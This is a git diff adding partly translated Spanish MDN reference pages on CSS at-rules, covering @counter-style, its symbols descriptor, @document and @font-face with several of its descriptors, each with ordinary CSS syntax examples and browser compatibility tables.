+<p>Initial version of CSS defined a set of useful counter styles. Although more styles were added to this set of predefined styles over the years, this restrictive way proved unable to fulfill the needs of worldwide typography. The <code>@counter-style</code> at-rule addresses this shortcoming in an open-ended manner, by allowing authors to define their own counter styles when the pre-defined styles aren't fitting their needs.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<h3 id="Descriptors">Descriptors</h3>
+
+<p>Each <code>@counter-style</code> is identified by a name and has a set of descriptors.</p>
+
+<dl>
+ <dt>{{cssxref("@counter-style/system", "system")}}</dt>
+ <dd>Specifies the algorithm to be used for converting the integer value of a counter to a string representation.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/negative", "negative")}}</dt>
+ <dd>Lets the author specify symbols to be appended or prepended to the counter representation if the value is negative.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/prefix", "prefix")}}</dt>
+ <dd>Specifies a symbol that should be prepended to the marker representation. Prefixes are added to the representation in the final stage, so in the final representation of the counter, it comes before the negative sign.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/suffix", "suffix")}}</dt>
+ <dd>Specifies, similar to the prefix descriptor, a symbol that is appended to the marker representation. Prefixes come after the marker representation.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/range", "range")}}</dt>
+ <dd>Defines the range of values over which the conter style is applicable. If a counter style is used to represent a counter value outside of its ranges, the counter style will drop back to its fallback style.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/pad", "pad")}}</dt>
+ <dd>Is used when you need the marker representations to be of a minimum length. For example if you want the counters to start start at 01 and go through 02, 03, 04 etc, then the pad descriptor is to be used. For representations larger than the specified pad value, the marker is constructed as normal.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/fallback", "fallback")}}</dt>
+ <dd>Specifies a system to fall back into if either the specified system is unable to construct the representation of or a counter value or if the counter value outside the specified range. If the specified fallback also fails to represent the value, then the fallback style's fallback is used, if one is specified. If there are either no fallback systems described or if the chain of fallback systems are unable to represent a counter value, then it will ultimately fall back to the decimal style.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/symbols", "symbols")}}</dt>
+ <dd>Specifies the symbols that are to be used for the marker representations. Symbols can contain string, images or custom identifiers. How the symbols are used to construct the marker representation is up to the algorithm specified in the system descriptor. For example, if the system specified is fixed, then each of the N symbols specified in the descriptor will be used to represent the first N counter symbols. Once the specified set of symbols have exhausted, the fallback style will be used for the rest of the list.<br>
+ <br>
+ The below @counter-style rule uses images instead of character symbols.<br>
+
+ <pre class="brush: css">@counter-style winners-list {
+  system: fixed;
+  symbols: url(gold-medal.svg) url(silver-medal.svg) url(bronze-medal.svg);
+  suffix: " ";
+}</pre>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/additive-symbols", "additive-symbols")}}</dt>
+ <dd>While the symbols specified in the symbols descriptor is used for constructing marker representation by most algorithms, some systems such as 'additive' rely on <em>additive tuples</em> described in this descriptor. Each additive tuple consists of a counter symbol and a non negative integer weight. The additive tuples must be specified in the descending order of their weights.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/speak-as", "speak-as")}}</dt>
+ <dd>Describes how to read out the counter style in speech synthesizers, such as screen readers. For example, the value of the marker symbol can be read out as numbers or alphabets for ordered lists or as audio cues for unordered lists, based on the value of this descriptor.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: css">@counter-style circled-alpha {
+  system: fixed;
+  symbols: Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ;
+  suffix: " ";
+}</pre>
+
+<p>The above counter style rule can be applied to lists like this:</p>
+
+<pre class="brush: css">.items {
+   list-style: circled-alpha;
+}
+</pre>
+
+<p>Which will produce lists like this:</p>
+
+<p>Ⓐ One<br>
+ Ⓑ Two<br>
+ Ⓒ Three<br>
+ Ⓓ Four<br>
+ Ⓔ FIve<br>
+ ....<br>
+ ...<br>
+ Ⓨ Twenty Five<br>
+ Ⓩ Twenty Six</p>
+
+<p>27 Twenty Seven<br>
+ 28 Twenty Eight<br>
+ 29 Twenty Nine<br>
+ 30 Thirty</p>
+
+<p>Checkout more examples on the <a href="https://mdn.github.io/css-counter-style-demo/">demo page</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#the-counter-style-rule', 'counter-style')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(33)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(33)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{Cssxref("list-style")}}, {{Cssxref("list-style-image")}}, {{Cssxref("list-style-position")}}</li>
+ <li>{{cssxref("symbols", "symbols()")}}, the functional notation creating anonymous counter styles.</li>
+</ul>
diff --git a/files/es/web/css/@counter-style/symbols/index.html b/files/es/web/css/@counter-style/symbols/index.html
new file mode 100644
index 0000000000..8a81c04645
--- /dev/null
+++ b/files/es/web/css/@counter-style/symbols/index.html
@@ -0,0 +1,144 @@
+---
+title: symbols
+slug: Web/CSS/@counter-style/symbols
+tags:
+  - Descriptor CSS
+  - Estilos de contadores CSS
+translation_of: Web/CSS/@counter-style/symbols
+---
+<h2 id="Summary">Summary</h2>
+
+<p><span class="seoSummary">El descriptor <code>symbols</code> es usado para definir los símbolos que usará un sistema de conteo específico para construir una representación de conteo. Un símbolo puede ser un texto, una imagen o un identificador.</span> El descriptor symbols debe ser especificado cuando el valor del descriptor {{cssxref('system')}} es <em>cyclic</em>, <em>numeric</em>, <em>alphabetic</em>, <em>symbolic</em>, o <em>fixed</em>. Cuando se usa el sistema <em>additive</em>, el descriptor {{cssxref('additive-symbols')}} es usado para especificar los símbolos.</p>
+
+<p>Los valores posibles para descriptor de símbolos incluyen:</p>
+
+<ul>
+ <li>Textos ({{cssxref("&lt;string&gt;")}}) - secuencia de caracteres definidos entre comillas sencillas o dobles. Se pueden usar diagonales invertidas (\) para escapar caracteres especiales. Por ejemplo, los caracteres Unicode pueden ser especificados en formato "\24B6".</li>
+ <li>Imágenes - Usando la función {{cssxref("&lt;url&gt;", "url()")}}</li>
+ <li>Identificadores</li>
+</ul>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css">symbols: A B C D E;
+symbols: "\24B6" "\24B7" "\24B8" D E;
+symbols: "0" "1" "2" "4" "5" "6" "7" "8" "9";
+symbols: url('first.svg') url('second.svg') url('third.svg');
+symbols: indic-numbers;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;symbol&gt;</code></dt>
+ <dd>Representa u símbolo (<code>&lt;symbol&gt;</code>) usado dentro del sistema de conteo.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="list"&gt;
+  &lt;li&gt;One&lt;/li&gt;
+  &lt;li&gt;Two&lt;/li&gt;
+  &lt;li&gt;Three&lt;/li&gt;
+  &lt;li&gt;Four&lt;/li&gt;
+  &lt;li&gt;Five&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@counter-style symbols-example {
+  system: fixed;
+  symbols: A "1" "\24B7" D E;
+}
+
+.list {
+  list-style: symbols-example;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/@counter-style/symbols') }}</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#counter-style-symbols', 'symbols')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(33)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característic</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(33)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{Cssxref("list-style")}}, {{Cssxref("list-style-image")}}, {{Cssxref("list-style-position")}}</li>
+ <li>{{cssxref("symbols", "symbols()")}}, la notación funcional para crear estilos de contador anónimos.</li>
+</ul>
diff --git a/files/es/web/css/@document/index.html b/files/es/web/css/@document/index.html
new file mode 100644
index 0000000000..250b5342c7
--- /dev/null
+++ b/files/es/web/css/@document/index.html
@@ -0,0 +1,82 @@
+---
+title: '@document'
+slug: Web/CSS/@document
+translation_of: Web/CSS/@document
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>The <strong><code>@document</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/At-rule">at-rule</a> restricts the style rules contained within it based on the URL of the document. It is designed primarily for user-defined style sheets, though it can be used on author-defined style sheets, too.</p>
+
+<pre class="brush: css no-line-numbers">@document url("https://www.example.com/") {
+  h1 {
+    color: green;
+  }
+}
+</pre>
+
+<ul>
+</ul>
+
+<h2 id="Syntax">Syntax</h2>
+
+
+
+<p>Una regla @document puede especificar una o más funciones coincidentes. Si alguna de las funciones se aplica a una URL determinada, la regla tendrá efecto en esa URL. Las funciones disponibles son:</p>
+
+<ul>
+ <li><code>url()</code>, which matches an exact URL.</li>
+ <li><code>url-prefix()</code>, which matches if the document URL starts with the value provided.</li>
+ <li><code>domain()</code>, which matches if the document URL is on the domain provided (or a subdomain of it).</li>
+ <li><code>regexp()</code>, which matches if the document URL is matched by the <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">regular expression</a> provided. The expression must match the entire URL.</li>
+</ul>
+
+<p>The values provided to the <code>url()</code>, <code>url-prefix()</code>, and <code>domain()</code> functions can be optionally enclosed by single or double quotes. The values provided to the <code>regexp()</code> function <em>must</em> be enclosed in quotes.</p>
+
+<p>Escaped values provided to the <code>regexp()</code> function must additionally be escaped from the CSS. For example, a <code>.</code> (period) matches any character in regular expressions. To match a literal period, you would first need to escape it using regular expression rules (to <code>\.</code>), then escape that string using CSS rules (to <code>\\.</code>).</p>
+
+<div class="note">
+<p><strong>Note</strong>: There is a -moz-prefixed version of this property — <code>@-moz-document</code>. This has been limited to use only in user and UA sheets in Firefox 59 in Nightly and Beta — an experiment designed to mitigate potential CSS injection attacks ({{bug(1035091)}}).</p>
+</div>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@document url(http://www.w3.org/),
+          url-prefix(http://www.w3.org/Style/),
+          domain(mozilla.org),
+          regexp("https:.*") {
+  /* CSS rules here apply to:
+     - The page "http://www.w3.org/"
+     - Any page whose URL begins with "http://www.w3.org/Style/"
+     - Any page whose URL's host is "mozilla.org"
+       or ends with ".mozilla.org"
+     - Any page whose URL starts with "https:" */
+
+  /* Make the above-mentioned pages really ugly */
+  body {
+    color: purple;
+    background: yellow;
+  }
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p><a href="http://www.w3.org/TR/2012/WD-css3-conditional-20120911/#at-document">Initially</a> in {{SpecName('CSS3 Conditional')}}, <code>@document</code> has been <a href="http://www.w3.org/TR/2012/WD-css3-conditional-20121213/#changes">postponed</a> to Level 4.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.at-rules.document")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://lists.w3.org/Archives/Public/www-style/2004Aug/0135">Per-site user style sheet rules</a> on the www-style mailing list.</li>
+</ul>
diff --git a/files/es/web/css/@font-face/font-display/index.html b/files/es/web/css/@font-face/font-display/index.html
new file mode 100644
index 0000000000..f6dcaf0c03
--- /dev/null
+++ b/files/es/web/css/@font-face/font-display/index.html
@@ -0,0 +1,96 @@
+---
+title: font-display
+slug: Web/CSS/@font-face/font-display
+tags:
+  - '@font-face'
+  - CSS
+  - Descriptor CSS
+  - Experimental
+  - Fuentes CSS
+  - Referencia
+  - font-display
+  - web fonts
+translation_of: Web/CSS/@font-face/font-display
+---
+<div>{{CSSRef}}</div>
+
+<p>El descriptor <code>font-display</code> determina cómo se muestra una fuente basándose en cuándo está descargada y lista para usarse.</p>
+
+<h2 id="La_visualización_de_las_fuentes">La visualización de las fuentes</h2>
+
+<p>La  visualización de la fuentes se basa en un temporizador que comienza en el momento en que el agente de usuario intenta utilizar una fuente descargada. El tiempo de visualización se divide en tres periodos dictan el comportamiento de renderizado de cualquier elemento que utilice la fuente.</p>
+
+<dl>
+ <dt>Tiempo de bloqueo de fuente</dt>
+ <dd>Si la fuente no está cargada, cualquier elemento que intente utilizarla debe mostrar una fuente alternativa <em>invisible</em>. Si la fuente se carga correctamente durante este período, se utiliza normalmente.</dd>
+ <dt>Tiempo de intercambio de fuente</dt>
+ <dd>Si la fuente no está cargada, cualquier elemento que intente usarla debe mostrar una fuente alternativa. Si la fuente se carga correctamente durante este período, se utiliza normalmente.</dd>
+ <dt>Tiempo de fallo de la fuente</dt>
+ <dd>Si la fuente no está cargada el agente de usuario lo trata como una descarga fallida y utiliza una fuente alternativa.</dd>
+</dl>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css;">/* Valores */
+font-display: auto;
+font-display: block;
+font-display: swap;
+font-display: fallback;
+font-display: optional;</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>El agente de usuario define la estrategia de visualización de fuentes.</dd>
+ <dt><code>block</code></dt>
+ <dd>Establece un tiempo de bloqueo de la fuente corto y un periodo de intercambio infinito</dd>
+ <dt><code>swap</code></dt>
+ <dd>No establece  tiempo de bloqueo para la fuente y un tiempo infinito de intercambio.</dd>
+ <dt><code>fallback</code></dt>
+ <dd>Establece un tiempo de bloqueo muy pequeño y un período de intercambio corto.</dd>
+ <dt><code>optional</code></dt>
+ <dd>Establece un tiempo de bloqueo muy corto y sin tiempo de intercambio.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css; highlight[7]">@font-face {
+  font-family: ExampleFont;
+  src: url(/path/to/fonts/examplefont.woff) format('woff'),
+       url(/path/to/fonts/examplefont.eot) format('eot');
+  font-weight: 400;
+  font-style: normal;
+  font-display: fallback;
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts', '#font-display-desc', 'font-display')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, por favor visite <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una petición de actualización.</div>
+
+<p>{{Compat("css.at-rules.font-face.font-display")}}</p>
diff --git a/files/es/web/css/@font-face/font-family/index.html b/files/es/web/css/@font-face/font-family/index.html
new file mode 100644
index 0000000000..1069ff05a8
--- /dev/null
+++ b/files/es/web/css/@font-face/font-family/index.html
@@ -0,0 +1,116 @@
+---
+title: font-family
+slug: Web/CSS/@font-face/font-family
+tags:
+  - CSS
+  - font-family
+translation_of: Web/CSS/@font-face/font-family
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El descriptor CSS font-family CSS permite al autor especificar el tipo de fuente para un elemento.</p>
+
+<p>La propiedad font-family puede contener varias fuentes  a modo de sistema de "seguridad. Si el navegador no soporta la primera, probará con la siguiente y así sucesivamente.</p>
+
+<p>hay dos tipos de nombres de familias de fuentes:</p>
+
+<ul>
+ <li><strong>family-name</strong> - El nombre de la familia de fuentes, como  "times", "courier", "arial", etc.</li>
+ <li><strong>generic-family</strong> - El nombre de la familia genérica , como "serif", "sans-serif", "cursive", "fantasy", "monospace".</li>
+</ul>
+
+<p>Comienza con la fuente que quieras, y acaba siempre con una familia de fuente genérica para permitir al navegador elegir una fuente similar dentro de la familia genérica en caso de que no haya otras fuentes disponibles.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre>font-family: <em>font</em>|initial|inherit;</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p><font face="Consolas, Liberation Mono, Courier, monospace"><strong>family-name<br>
+ generic-family</strong></font><br>
+ Un lista priorizada de nombre de familias de fuentes y/o de nombres de familias genéricas.</p>
+
+<p><strong><code>initial</code></strong><br>
+ Establace el valor por defecto para esta propiedad.</p>
+
+<p><strong><code>inherit</code></strong><br>
+ Hereda esta propiedad del elemento padre.</p>
+
+<p><strong>serif</strong><br>
+ Fuente genérica con serif como, por ejemplo, el tipo de fuente Times.</p>
+
+<p><strong>sans-serif</strong><br>
+ Fuente genérica sin serif como, por ejemplo, el tipo de fuente Arial.</p>
+
+<p><strong>fantasy</strong><br>
+ Fuente genérica Fantasy.</p>
+
+<p><strong>monospace</strong><br>
+ Fuente genérica Monospace, como por ejemplo Courier.</p>
+
+<p><strong>cursive</strong><br>
+ Fuente genérica cursiva, como por ejemplo Script.</p>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre>{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Como ejemplo , consideremos la familia de fuentes garamon, es su forma normal, obtendremos el siguiente resultado:</p>
+
+<pre>p {
+    font-family: "Times New Roman", Georgia, Serif;
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#descdef-font-face-unicode-range', 'unicode-range')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>4.0</td>
+   <td>3.5</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/es/web/css/@font-face/font-style/index.html b/files/es/web/css/@font-face/font-style/index.html
new file mode 100644
index 0000000000..5b812c2d63
--- /dev/null
+++ b/files/es/web/css/@font-face/font-style/index.html
@@ -0,0 +1,134 @@
+---
+title: font-style
+slug: Web/CSS/@font-face/font-style
+tags:
+  - '@font-face'
+  - CSS
+  - Fuentes
+  - Referências
+translation_of: Web/CSS/@font-face/font-style
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>La propiedad CSS "font-style" permite a los autores esepcificar estilos de fuente para las fuentes especificadas en la regla "<code>@font-face</code>".</p>
+
+<p>Para un tipo de fuente particular, los autores pueden descargar varios tipos de fuentes que correspondan a diferentes estilos de la misma familia de fuentes, y luego usar la propiedad "font-style" para especificar explicitamente el tipo de fuente descargada. Los valores para esta propiedad CSS son los mismos que los correspondientes a font property.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<div class="syntaxbox">
+<pre class="brush: css">font-style: normal;
+font-style: italic;
+font-style: oblique;</pre>
+
+<h3 id="Values">Values</h3>
+
+<p><code><strong>normal</strong></code><br>
+ Selecciona la version normal del estilo de fuente.</p>
+
+<p><strong><code>italic</code></strong><br>
+ Especifica que el estilo de fuente es la versión en <em>cursiva</em> de la fuente normal.</p>
+
+<p><strong><code>oblique</code></strong><br>
+ Especifica que el estilo de fuente es la versión en <em>cursiva</em>, también, pero de forma diferente, de la fuente normal.</p>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>A modo de ejemplo, consideremos Garamond como un tipo de fuente que, en su forma normal, obtenemos el siguiente resultado:</p>
+
+<pre class="brush: css">@font-face {
+  font-family: garamond;
+  src: url('garamond.ttf');
+}</pre>
+
+<p><img alt="unstyled Garamond" src="https://mdn.mozillademos.org/files/12265/garamondunstyled.JPG" style="height: 101px; width: 276px;"></p>
+
+<p>La versión en <em>cursiva</em> de este texto utiliza los mismos trazos presentes en la versión sin estilo, pero artificialmente inclinadas unos pocos grados.</p>
+
+<p><img alt="artificially sloped garamond" src="https://mdn.mozillademos.org/files/12267/garamondartificialstyle.JPG" style="height: 101px; width: 276px;"></p>
+
+<p>Por otra parte, si existe un verdadera versión en <em>cursiva</em> del estilo de fuente, podemos incluirla en la propiedad "src" y especificar el estilo de fuente como "italic", con que claramente la fuente quedará en <em>cursiva</em>. Las verdaderas <em>cursivas</em> utilizan unos trazos específicos que son un poco diferentes de su versión normal, teniendo algunas características únicas y generalmente con cualidades redondeadas y caligráficas. Estas fuentes son específicamente creadas por diseñadores de fuentes y no son artificialmente inclinadas.</p>
+
+<p>@font-face { font-family: garamond; src: url('garamond-italic.ttf'); font-style: italic; }</p>
+
+<p><img alt="italic garamond" src="https://mdn.mozillademos.org/files/12269/garamonditalic.JPG" style="height: 101px; width: 267px;"></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#descdef-font-face-unicode-range', 'unicode-range')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table" style="height: 91px; width: 591px;">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>4.0  </td>
+   <td>4.0</td>
+   <td>10.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mini</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
diff --git a/files/es/web/css/@font-face/index.html b/files/es/web/css/@font-face/index.html
new file mode 100644
index 0000000000..b00594d694
--- /dev/null
+++ b/files/es/web/css/@font-face/index.html
@@ -0,0 +1,162 @@
+---
+title: '@font-face'
+slug: Web/CSS/@font-face
+translation_of: Web/CSS/@font-face
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><code>@font-face</code> permite al autor especificar fuentes online para visualizar en sus páginas web. Al permitir a los autores proporcionar sus propias fuentes,<code> @font-face </code>elimina la necesidad de depender del numero limitado de fuentes de usuarios instaladas en sus computadoras.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre>@font-face {
+  font-family: &lt;un-nombre-de-fuente-remota&gt;;
+  src: &lt;origen&gt; [,&lt;origen&gt;]*;
+  [font-weight: &lt;peso&gt;];
+  [font-style: &lt;estilo&gt;];
+}
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>&lt;un-nombre-de-fuente-remota&gt; </dt>
+ <dd>Especifica el nombre de una fuente que será utilizada como valor de font face por las propiedades de fuente.</dd>
+ <dt>&lt;origen&gt; </dt>
+ <dd>Dirección URL para la ubicación remota del archivo de fuente, o el nombre de una fuente en la computadora del usuario en la forma <code>local("Nombre de Fuente")</code>.</dd>
+ <dt>&lt;peso&gt; </dt>
+ <dd>Un valor de <a class="internal" href="/en/CSS/font-weight" title="en/CSS/font-weight">peso/grosor de fuente</a>.</dd>
+ <dt>&lt;estilo&gt; </dt>
+ <dd>Un valor de <a class="internal" href="/en/CSS/font-style" title="en/CSS/font-style">estilo de fuente</a>.</dd>
+</dl>
+
+<p>Puede especificar una fuente por nombre en la computadora local del usuario utilizando la sintaxis <code>local()</code>. Si esa fuente no es encontrada, se intentarán otros orígenes hasta encontrar una fuente.</p>
+
+<h2 id="Formatos_de_fuentes_soportados">Formatos de fuentes soportados</h2>
+
+<ul>
+ <li>Gecko 1.9.1 (Firefox 3.5) soporta fuentes TrueType y OpenType.</li>
+ <li>Gecko 1.9.2 (Firefox 3.6) agrega soporte para <a href="/en/WOFF" title="en/About WOFF">WOFF</a>.</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Este ejemplo simplemente especifica una fuente que puede ser descargada para utilizar, aplicando la fuente a todo el cuerpo del documento.</p>
+
+<p><a class="internal" href="/@api/deki/files/2935/=webfont-sample.html" title="/@api/deki/files/2935/=webfont-sample.html">Muestra en vivo</a></p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
